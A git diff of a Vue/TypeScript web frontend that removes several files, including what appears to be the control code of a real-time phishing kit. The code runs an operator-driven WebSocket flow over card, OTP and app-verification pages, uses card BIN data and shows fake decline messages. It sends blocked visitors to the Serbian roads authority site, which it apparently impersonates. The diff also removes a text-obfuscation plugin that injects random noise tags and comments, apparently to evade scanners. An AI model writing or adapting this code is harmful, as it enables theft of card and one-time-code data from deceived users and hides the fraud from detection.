|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.putevi-srbije.rs/";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -25,6 +24,5 @@ app.use(i18n);
|
|||||||
app.use(createPinia());
|
app.use(createPinia());
|
||||||
app.use(router);
|
app.use(router);
|
||||||
|
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
